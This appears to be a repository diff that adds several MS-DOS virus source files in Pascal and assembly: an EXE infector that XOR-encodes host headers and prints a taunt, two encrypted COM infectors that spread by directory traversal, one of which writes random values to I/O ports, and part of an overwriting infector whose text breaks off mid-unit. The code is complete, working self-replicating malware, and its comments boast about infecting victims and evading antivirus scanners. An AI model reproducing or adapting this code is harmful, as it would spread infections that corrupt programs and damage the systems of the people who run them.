exeBuf[y]:=Chr(Ord(exeBuf[y]) Xor $7e); {We are using here the 7Eh
|
||||
code,to XOR all the array}
|
||||
end;
|
||||
procedure timecomp; {Just to show ourself}
|
||||
label 1,2;
|
||||
begin
|
||||
writeln('(c) 1995 Queen Hitman Virus inc.!');
|
||||
writeln('Ha-ha-ha,You have a virus!');
|
||||
end;
|
||||
procedure execute; {This is a procedure,that will execute the file,
|
||||
we are in now(starting from)}
|
||||
begin
|
||||
findfirst(paramstr(i),anyfile,sss); {Espessially for MR.LOZINSKY!!! :- }
|
||||
if sss.size long then { DON't execute the source! :-( }
|
||||
begin
|
||||
assign(fff,sss.name); {Get the file_name in the handle}
|
||||
attr2:=sss.attr; {Save attributes...}
|
||||
time2:=sss.time; {... and time of the file}
|
||||
reset(fff,1); {Open it!}
|
||||
seek(fff,0); {Head in 0 point}
|
||||
blockread(fff,mybuf,long); {Read from it the begining}
|
||||
seek(fff,sss.size-long); {Put the header in the position:File_Size-Virus_size}
|
||||
blockread(fff,exebuf,long); {And read the source EXE_Header and the file begining}
|
||||
seek(fff,0); {Put the Head in 0}
|
||||
decode; {Decode it!!! For MR.MOSTOVOY :-}
|
||||
blockwrite(fff,exebuf,long); {Save the begining}
|
||||
seek(fff,sss.size-long); {Head in File_Size-Virus_size}
|
||||
truncate(fff); {Delete the end of the file,so if you've infected somthin like DR.WEB it woun't shout! ;-) }
|
||||
close(fff); {And close it!}
|
||||
setfattr(fff,archive); {Well,you know...LMD!!!}
|
||||
setftime(fff,time2);
|
||||
IF ParamCount < 0 Then {NO!!! This thing Executes the file}
|
||||
Begin
|
||||
For I:=1 To ParamCount Do
|
||||
CmdLine:=CmdLine + ' ' + ParamStr(I);
|
||||
End;
|
||||
swapvectors;
|
||||
exec(sss.name,cmdline);
|
||||
swapvectors;
|
||||
reset(fff,1); {Do it in the back sequence!...}
|
||||
code;
|
||||
seek(fff,0);
|
||||
blockwrite(fff,mybuf,long);
|
||||
seek(fff,sss.size-long);
|
||||
blockwrite(fff,exebuf,long);
|
||||
close(fff);
|
||||
setftime(fff,time2);
|
||||
setfattr(fff,attr2);
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
Procedure,that will INFECT the *.EXE files,in the current directory
|
||||
YEAHHH...
|
||||
|
||||
|
||||
*)
|
||||
procedure infect;
|
||||
label next; {Just a label}
|
||||
begin
|
||||
findfirst('*.exe',anyfile,ss); {Find the Victim}
|
||||
while doserror=0 do {While any available}
|
||||
begin
|
||||
if ss.size < long+1 then goto next; {Don't infect smaller then we are!}
|
||||
assign(ff,ss.name); {You already know!}
|
||||
attr1:=ss.attr; {And this too...}
|
||||
time1:=ss.time;
|
||||
setfattr(ff,archive);
|
||||
reset(ff,1);
|
||||
seek(ff,mark); {Put the head in the location of "Queen" in Viri(Check if this file is already infected!)}
|
||||
blockread(ff,bufm1,5); {Read the mark}
|
||||
if bufm1=id then goto next; {If TRUE,Then already infected :-((( }
|
||||
seek(ff,0); {NO!!! :-))) }
|
||||
blockread(ff,exebuf,long); {Copy the file_begining}
|
||||
code; {And code it! :-D }
|
||||
seek(ff,ss.size); {Head=File_End}
|
||||
blockwrite(ff,exebuf,long); {Write the file_begining}
|
||||
seek(ff,0); {Head=0}
|
||||
blockwrite(ff,mybuf,long); {Write Virus!!! :- }
|
||||
close(ff); {And close the file}
|
||||
setftime(ff,time1); {...You know...}
|
||||
setfattr(ff,attr1);
|
||||
next: findnext(ss); {Seek the next victim! ;-))) }
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
This is where the virus starts to think about it's children ;-)
|
||||
HeHehe...
|
||||
*)
|
||||
procedure virusbody;
|
||||
label next; {Label}
|
||||
begin
|
||||
findfirst(paramstr(i),anyfile,s); {Executed file}
|
||||
while doserror=0 do {If available?!?}
|
||||
begin
|
||||
assign(f,s.name); {Cach the file_name in header}
|
||||
attr:=s.attr; {..You..}
|
||||
time:=s.time; {..Know..}
|
||||
setfattr(f,archive); {..All..}
|
||||
reset(f,1); {..This..}
|
||||
seek(f,mark); {Check,if it is a virus(However,here can be a ERROR under DosShell&Win'95) :-((( }
|
||||
blockread(f,bufm1,5);
|
||||
if bufm1=id then {Yes!!! :-)))) }
|
||||
begin
|
||||
seek(f,0); {Copy the Virus_Body(It's source)}
|
||||
blockread(f,mybuf,long);
|
||||
end;
|
||||
close(f);
|
||||
setfattr(f,attr);
|
||||
setftime(f,time); {And BAY!!!}
|
||||
next: findnext(s);
|
||||
end;
|
||||
end;
|
||||
(*
|
||||
Here's the reall beginig...
|
||||
*)
|
||||
begin
|
||||
checkbreak:=false; {LMS,Don't press ^C,It has to be finished!!! :-))) }
|
||||
virusbody; {G }
|
||||
infect; { O }
|
||||
execute; {..O}
|
||||
timecomp; {N.}
|
||||
end. {BAY!!!}
|
337
MSDOS/Virus.MSDOS.Unknown.random.asm
Normal file
337
MSDOS/Virus.MSDOS.Unknown.random.asm
Normal file
@ -0,0 +1,337 @@
|
||||
; RANDOM.ASM -- Random To all Ports
|
||||
; Written by The W<>’z!
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
call search_files ; Find and infect a file
|
||||
call search_files ; Find and infect another file
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
test dx,0001h ; Is timer divisible by 2?
|
||||
jne no_infection ; If not then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 1Ah
|
||||
xchg dx,ax ; AX holds low word of timer
|
||||
mov dx,0FFh ; Start with port 255
|
||||
out_loop: out dx,al ; OUT a value to the port
|
||||
dec dx ; Do the next port
|
||||
jne out_loop ; Repeat until DX = 0
|
||||
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
248
MSDOS/Virus.MSDOS.Unknown.ranger.asm
Normal file
248
MSDOS/Virus.MSDOS.Unknown.ranger.asm
Normal file
@ -0,0 +1,248 @@
|
||||
|
||||
.model tiny ; Handy directive
|
||||
.code ; Virus code segment
|
||||
org 100h ; COM file starting IP
|
||||
|
||||
entry_point: db 0e9h,0,0 ; jmp decrypt
|
||||
|
||||
decrypt: ; handles encryption and decryption
|
||||
mov cx,(offset heap - offset startencrypt)/2 ; iterations
|
||||
patch_startencrypt:
|
||||
mov di,offset startencrypt ; start of decryption
|
||||
decrypt_loop:
|
||||
db 81h,35h ; xor word ptr [di], xxxx
|
||||
decrypt_value dw 0 ; initialised at zero for null effect
|
||||
inc di ; calculate new decryption location
|
||||
inc di
|
||||
loop decrypt_loop ; decrypt mo'
|
||||
startencrypt:
|
||||
call next ; calculate delta offset
|
||||
next: pop bp ; bp = IP next
|
||||
sub bp,offset next ; bp = delta offset
|
||||
|
||||
lea si,[bp+save3]
|
||||
mov di,100h
|
||||
push di ; For later return
|
||||
movsw
|
||||
movsb
|
||||
|
||||
mov byte ptr [bp+numinfec],1 ; reset infection counter
|
||||
|
||||
mov ah,1Ah ; Set new DTA
|
||||
lea dx,[bp+newDTA] ; new DTA @ DS:DX
|
||||
int 21h
|
||||
|
||||
mov ah,47h ; Get current directory
|
||||
mov dl,0 ; Current drive
|
||||
lea si,[bp+origdir] ; DS:SI->buffer
|
||||
int 21h
|
||||
mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR
|
||||
|
||||
mov ax,3524h ; Get int 24 handler
|
||||
int 21h ; to ES:BX
|
||||
mov word ptr [bp+oldint24],bx; Save it
|
||||
mov word ptr [bp+oldint24+2],es
|
||||
mov ah,25h ; Set new int 24 handler
|
||||
lea dx,[bp+offset int24] ; DS:DX->new handler
|
||||
int 21h
|
||||
push cs ; Restore ES
|
||||
pop es ; 'cuz it was changed
|
||||
|
||||
dir_scan: ; "dot dot" traversal
|
||||
lea dx,[bp+com_mask]
|
||||
mov ah,4eh ; find first file
|
||||
mov cx,7 ; any attribute
|
||||
findfirstnext:
|
||||
int 21h ; DS:DX points to mask
|
||||
jc done_infections ; No mo files found
|
||||
|
||||
mov al,0h ; Open read only
|
||||
call open
|
||||
|
||||
mov ah,3fh ; Read file to buffer
|
||||
lea dx,[bp+buffer] ; @ DS:DX
|
||||
mov cx,1Ah ; 1Ah bytes
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
checkCOM:
|
||||
mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA
|
||||
cmp ax,2000 ; Is it too small?
|
||||
jb find_next
|
||||
|
||||
cmp ax,65535-(endheap-decrypt) ; Is it too large?
|
||||
ja find_next
|
||||
|
||||
mov bx,word ptr [bp+buffer+1]; get jmp location
|
||||
add bx,heap-decrypt+3 ; Adjust for virus size
|
||||
cmp ax,bx
|
||||
je find_next ; already infected
|
||||
jmp infect_com
|
||||
find_next:
|
||||
mov ah,4fh ; find next file
|
||||
jmp short findfirstnext
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+dot_dot] ; "cd .."
|
||||
int 21h
|
||||
jnc dir_scan ; go back for mo!
|
||||
|
||||
done_infections:
|
||||
jmp activate ; Always activate
|
||||
exit_virus:
|
||||
mov ax,2524h ; Restore int 24 handler
|
||||
lds dx,[bp+offset oldint24] ; to original
|
||||
int 21h
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ah,3bh ; change directory
|
||||
lea dx,[bp+origdir-1] ; original directory
|
||||
int 21h
|
||||
|
||||
mov ah,1ah ; restore DTA to default
|
||||
mov dx,80h ; DTA in PSP
|
||||
int 21h
|
||||
retn ; 100h is on stack
|
||||
save3 db 0cdh,20h,0 ; First 3 bytes of COM file
|
||||
|
||||
activate: ; ******************************
|
||||
mov ax,04301h ; DOS set file attributes function
|
||||
xor cx,cx ; File will have no attributes
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
lea dx,[di + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; Transfer file handle to AX
|
||||
jmp exit_virus
|
||||
|
||||
creator db '[ZEB(C)1992]',0 ; Mass Produced Code Generator
|
||||
virusname db '[ranger]',0
|
||||
|
||||
infect_com: ; ax = filesize
|
||||
mov cx,3
|
||||
sub ax,cx
|
||||
lea si,[bp+offset buffer]
|
||||
lea di,[bp+offset save3]
|
||||
movsw
|
||||
movsb
|
||||
mov byte ptr [si-3],0e9h
|
||||
mov word ptr [si-2],ax
|
||||
add ax,103h
|
||||
push ax ; needed later
|
||||
finishinfection:
|
||||
push cx ; Save # bytes to write
|
||||
xor cx,cx ; Clear attributes
|
||||
call attributes ; Set file attributes
|
||||
|
||||
mov al,2
|
||||
call open
|
||||
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+buffer] ; Write from buffer
|
||||
pop cx ; cx bytes
|
||||
int 21h
|
||||
|
||||
mov ax,4202h ; Move file pointer
|
||||
xor cx,cx ; to end of file
|
||||
cwd ; xor dx,dx
|
||||
int 21h
|
||||
|
||||
get_encrypt_value:
|
||||
mov ah,2ch ; Get current time
|
||||
int 21h ; dh=sec,dl=1/100 sec
|
||||
or dx,dx ; Check if encryption value = 0
|
||||
jz get_encrypt_value ; Get another if it is
|
||||
mov [bp+decrypt_value],dx ; Set new encryption value
|
||||
lea di,[bp+code_store]
|
||||
mov ax,5355h ; push bp,push bx
|
||||
stosw
|
||||
lea si,[bp+decrypt] ; Copy encryption function
|
||||
mov cx,startencrypt-decrypt ; Bytes to move
|
||||
push si ; Save for later use
|
||||
push cx
|
||||
rep movsb
|
||||
|
||||
lea si,[bp+write] ; Copy writing function
|
||||
mov cx,endwrite-write ; Bytes to move
|
||||
rep movsb
|
||||
pop cx
|
||||
pop si
|
||||
pop dx ; Entry point of virus
|
||||
push di
|
||||
push si
|
||||
push cx
|
||||
rep movsb ; Copy decryption function
|
||||
mov ax,5b5dh ; pop bx,pop bp
|
||||
stosw
|
||||
mov al,0c3h ; retn
|
||||
stosb
|
||||
|
||||
add dx,offset startencrypt - offset decrypt ; Calculate new
|
||||
mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of
|
||||
call code_store ; decryption
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
rep movsb ; Restore decryption function
|
||||
|
||||
mov ax,5701h ; Restore creation date/time
|
||||
mov cx,word ptr [bp+newDTA+16h] ; time
|
||||
mov dx,word ptr [bp+newDTA+18h] ; date
|
||||
int 21h
|
||||
|
||||
mov ah,3eh ; Close file
|
||||
int 21h
|
||||
|
||||
mov ch,0
|
||||
mov cl,byte ptr [bp+newDTA+15h] ; Restore original
|
||||
call attributes ; attributes
|
||||
|
||||
dec byte ptr [bp+numinfec] ; One mo infection
|
||||
jnz mo_infections ; Not enough
|
||||
jmp done_infections
|
||||
mo_infections: jmp find_next
|
||||
|
||||
open:
|
||||
mov ah,3dh
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
xchg ax,bx
|
||||
ret
|
||||
|
||||
attributes:
|
||||
mov ax,4301h ; Set attributes to cx
|
||||
lea dx,[bp+newDTA+30] ; filename in DTA
|
||||
int 21h
|
||||
ret
|
||||
|
||||
write:
|
||||
pop bx ; Restore file handle
|
||||
pop bp ; Restore relativeness
|
||||
mov ah,40h ; Write to file
|
||||
lea dx,[bp+decrypt] ; Concatenate virus
|
||||
mov cx,heap-decrypt ; # bytes to write
|
||||
int 21h
|
||||
push bx
|
||||
push bp
|
||||
endwrite:
|
||||
|
||||
int24: ; New int 24h (error) handler
|
||||
mov al,3 ; Fail call
|
||||
iret ; Return control
|
||||
|
||||
com_mask db '*.com',0
|
||||
dot_dot db '..',0
|
||||
heap: ; Variables not in code
|
||||
; The following code is the buffer for the write function
|
||||
code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?)
|
||||
oldint24 dd ? ; Storage for old int 24h handler
|
||||
backslash db ?
|
||||
origdir db 64 dup (?) ; Current directory buffer
|
||||
newDTA db 43 dup (?) ; Temporary DTA
|
||||
numinfec db ? ; Infections this run
|
||||
buffer db 1ah dup (?) ; read buffer
|
||||
endheap: ; End of virus
|
||||
end entry_point
|
157
MSDOS/Virus.MSDOS.Unknown.ranovr.pas
Normal file
157
MSDOS/Virus.MSDOS.Unknown.ranovr.pas
Normal file
@ -0,0 +1,157 @@
|
||||
{close but not cookie ranmas4A}
|
||||
USES dos,link,attrib;
|
||||
CONST vSize=8608;
|
||||
VAR PATHLIST,
|
||||
fileLIST: LISTtype;
|
||||
TempPtr : NodePtr;
|
||||
current : byte;
|
||||
count : integer; {debug}
|
||||
Running : string;
|
||||
buffer : array[0..vSize] of byte;
|
||||
header : array[0..$1A] of byte;
|
||||
F : file;
|
||||
vID : string[2];
|
||||
procedure SuckPaths(var lister: listTYPE);
|
||||
{Get paths from command environmet}
|
||||
{Split string into seperate paths }
|
||||
{Include running path in list }
|
||||
var
|
||||
ps, s: string;
|
||||
ind: integer;
|
||||
begin
|
||||
s:= GetEnv('PATH');
|
||||
ind:= pos(';', S);
|
||||
GetDir(0,PS);
|
||||
insertNODE(lister,ps);
|
||||
if ind<0 then while ind< 0 do BEGIN
|
||||
ps:= copy(S, 1, ind-1);
|
||||
{debug} if (random(2)=1) then insertNODE(lister,ps);
|
||||
delete(S,1,ind);
|
||||
ind:= pos(';', S);
|
||||
END;
|
||||
end;
|
||||
procedure SuckFiles(path: string; var exes:LISTtype);
|
||||
{find EXE files in path given }
|
||||
{return linked list }
|
||||
var Fil :SearchRec;
|
||||
BEGIN
|
||||
{current:=0;}
|
||||
IF path[ length(path) ]<'\' then path:=path+'\';
|
||||
{change to *.EXE to make live}
|
||||
findfirst(path+'*.222',anyfile,fil);
|
||||
while DosError=0 do begin
|
||||
If (pos('.',fil.name)<1) and not(boolean(fil.attr and directory)) then
|
||||
begin
|
||||
inc(count);
|
||||
if random(20)=5 then begin {debug}
|
||||
if (fil.size<$ffff) then begin
|
||||
InsertNode(exes,(path+fil.name));
|
||||
{ current:=1; }
|
||||
end;
|
||||
end; {debug}
|
||||
end;
|
||||
if current=1 then dosError:=18
|
||||
else findnext(fil); {give "no more files" effect to exit}
|
||||
end;
|
||||
END;
|
||||
{::Skeleton Main::}
|
||||
BEGIN
|
||||
randomize; count:=0; initLIST (pathLIST);
|
||||
vID:='FU';
|
||||
{::Get cur & PATH's dos's environment::}
|
||||
SuckPaths(pathLIST); {pick about 1 out of 2 paths from the PATH envir}
|
||||
{::Pick files from paths::}
|
||||
TempPtr:=pathLIST.first; {pick 1 name max in every path for checking}
|
||||
While ( TempPtr<nil ) do BEGIN
|
||||
suckFiles(TempPtr^.info,fileLIST);
|
||||
TempPtr:= TempPtr^.link;
|
||||
END;
|
||||
killList(pathList);
|
||||
{::get buffer::}
|
||||
Running:=ParamStr(0); {get name of the file currently running}
|
||||
Running:=FExpand(Running);
|
||||
Assign(F,running);
|
||||
reset(f,1);
|
||||
seek(f,0);
|
||||
blockRead(f,buffer[0],vSize);
|
||||
close(f);
|
||||
move(vID[1],buffer[$12],2);
|
||||
TempPtr:=fileLIST.first;
|
||||
While ( TempPtr<nil ) do BEGIN
|
||||
Assign(F,TempPtr^.info);
|
||||
SetfileATTR(TempPtr^.info,'hsra',false);
|
||||
Reset(f,1);
|
||||
Blockread(F,header[0],$1A);
|
||||
IF (Chr(header[$12])<'F') or
|
||||
(Chr(header[$13])<'U') then BEGIN
|
||||
TempPtr^.link:=NIL; {stop search}
|
||||
seek(F,0);
|
||||
Blockwrite(F,buffer,vSize);
|
||||
END;
|
||||
Close(F);
|
||||
TempPtr:= TempPtr^.link;
|
||||
END;
|
||||
killList(fileList);
|
||||
writeLN('Disk Read Error');
|
||||
{change to 0 to make live}
|
||||
repeat until 1=1{0};
|
||||
END.
|
||||
LINK.PAS:
|
||||
unit link;
|
||||
INTERFACE
|
||||
Type
|
||||
NodePtr=^Node;
|
||||
Node= record
|
||||
Info: String[40];
|
||||
Link: NodePtr;
|
||||
end;
|
||||
ListType=record
|
||||
First: NodePtr;
|
||||
last : NodePtr;
|
||||
end;
|
||||
{var
|
||||
TheList : ListType;
|
||||
{MemSize : longInt;}
|
||||
{TempList:NodePtr;}
|
||||
procedure initList( Var thelist: listType);
|
||||
Procedure InsertNode( var theLIST: listType; Stuff: string );
|
||||
procedure KillList(var theLIst: listTYPE);
|
||||
IMPLEMENTATION
|
||||
procedure initList( var thelist: listType);
|
||||
begin
|
||||
TheLIST.First:=NIL;
|
||||
TheLIST.last:= NIL;
|
||||
end;
|
||||
Procedure InsertNode( var theLIST: listType; Stuff: string );
|
||||
var
|
||||
Temp,
|
||||
TempNode: NodePtr;
|
||||
begin
|
||||
Temp:=TheList.first; {borrow start}
|
||||
New ( TempNode ); {.............}
|
||||
TempNode^.Info:= Stuff; {make new node}
|
||||
TempNode^.Link:= nil; {.............}
|
||||
If ( Temp=nil ) then
|
||||
begin
|
||||
TheList.first:=TempNode; {both point at single node}
|
||||
TheList.last :=TempNode;
|
||||
end
|
||||
